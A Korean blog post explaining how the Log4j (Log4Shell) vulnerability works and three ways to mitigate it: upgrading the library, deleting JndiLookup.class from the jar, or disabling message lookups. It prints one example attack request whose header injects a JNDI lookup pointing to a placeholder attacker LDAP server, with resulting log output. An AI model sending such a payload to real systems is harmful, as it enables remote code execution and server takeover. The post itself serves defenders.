인재 DB 등록 시 유의사항

CLOSE

채용공고 지원 시 유의사항

CLOSE

Log4j 보안 취약점 동작 원리 및 조치 방법

홍반장 21.12.13
9067 7 1

지난 주말 Log4j 보안 취약점 관련 내용이 공유되면서, IT 서비스 개발/운영 담당자들에게 비상이 걸렸습니다.

많은 분들이 주말에 고생을 하셨을 거라 생각됩니다.

 

log4j 는 자바 기반의 로깅 라이브러리로 logback, slf4j 등과 더불어 상당히 널리 사용되는 라이브러리 입니다.

 

보안 취약점 동작 원리 (출처 : Popit 김형준님 작성 글 참고)

문제의 원인은 log4가 로그를 출력할 때 로그에 사용자ID 등이 있으면 자동으로 내부에서 운영중인 LDAP 서버 등에 접속을 해서 변환하는 기능을 제공하는데 이 기능을 이용하면 해커의 서버로 접속해서 해커가 만든 악성 코드를 서버로 다운로드 받게 하고 이 코드를 이용해서 서버를 탈취할 수 있게 됩니다.

예를 들어, 로그를 남길때 다음과 같이 남긴다고 하면,

  •  log.info("Request User Agent:{}", request.getHeader("X-Api-Version"));

해커가  악의적으로 HTTP 의 header의  X-Api-Version 값에 해커의 주소로 설정한 다음 요청을 보내면 위와 같은 동작원리에 의해 해커 서버로 요청이 전송되는 방식입니다.

  • curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://hacker-server}'

서버의 log4j로그를 보면 다음과 같은 로그가 남아 있습니다.

  • 2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
  • 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

재현 가능한 코드는 다음에 있습니다.

 

위 로그에서 보시는 것처럼 JNDI(Java Naming and Directory Interface) 의 Lookup 기능을 사용하게 되는데, 이 기능을 제거하거나 막아야 문제를 해결할 수 있습니다.

 

조치 방법

이 문제는 Log4j 버전 2.0-beta-9 부터 2.14.1 사이를 사용하는 경우에 해당 됩니다. 글을 작성하는 21년 12월 13일 기준에서는, 관련 취약점이 조치된 Log4j v2.15.0 버전을 다운로드 받아 조치가 가능했으나, 2.15 버전도 완벽한 해결이 된 버전이 아니라는 이유로 12월 14일 기준 Log4j v.2.16.0 버전이 릴리즈 되었습니다.

 

문제점을 해결할 수 있는 방법은 크게 3가지가 있는데,

첫번째 방법은, 관련 문제가 해결된 버전으로 위 주소의 log4j 버전으로 업그레이드 하는 방식 입니다. 하지만, log4j 는 단독으로 동작하는 라이브러리가 아니고, ElasticSearch, Hadoop, Druid 등 자바 기반의 큰 프로젝트 안에 포함되는 로깅용 라이브러리 이기 때문에 단순히 log4j 버전만 올리는 경우 전체 프로젝트 빌드 과정에서 에러가 발생할 수 있습니다. 따라서, 이 방법의 경우에는 일부 에러가 발생하는 부분의 코드 수정이 필요합니다.

 

두번째 방법은, 현재 사용중인 log4j jar 파일 안에 있는 JndiLookup.class 파일을 삭제해 버리는 것 입니다.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

위와 같이 삭제를 실행할 수 있는데, 이후에는 당연히 JndiLookup 기능이 동작하지 않게 될 것 입니다. 실제로 이 방법으로 조치를 한 경우 로그에 WARN 이 발생하기도 했습니다. (Hive 의 경우)

 

마지막 방법은, 사용중인 log4j 의 버전이 2.10 부터 2.14.1 까지의 경우에만 적용이 가능한 방법입니다. 

설정 파일에 아래와 같은 설정 두가지 중 하나를 넣어주시면 됩니다.

log4j2.formatMsgNoLookups=true

혹은

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

두개의 설정은 같은 의미를 같습니다.

 

log4j 가 매우 널리 사용되는 라이브러리 이기 때문에, 상당히 많은 시스템에 영향이 있을거라 생각이 되는데, 시스템 담당자라면 빠른 확인과 조치가 필요하겠습니다.

 

 

 

홍반장 님의 최신 블로그

더보기

관련 블로그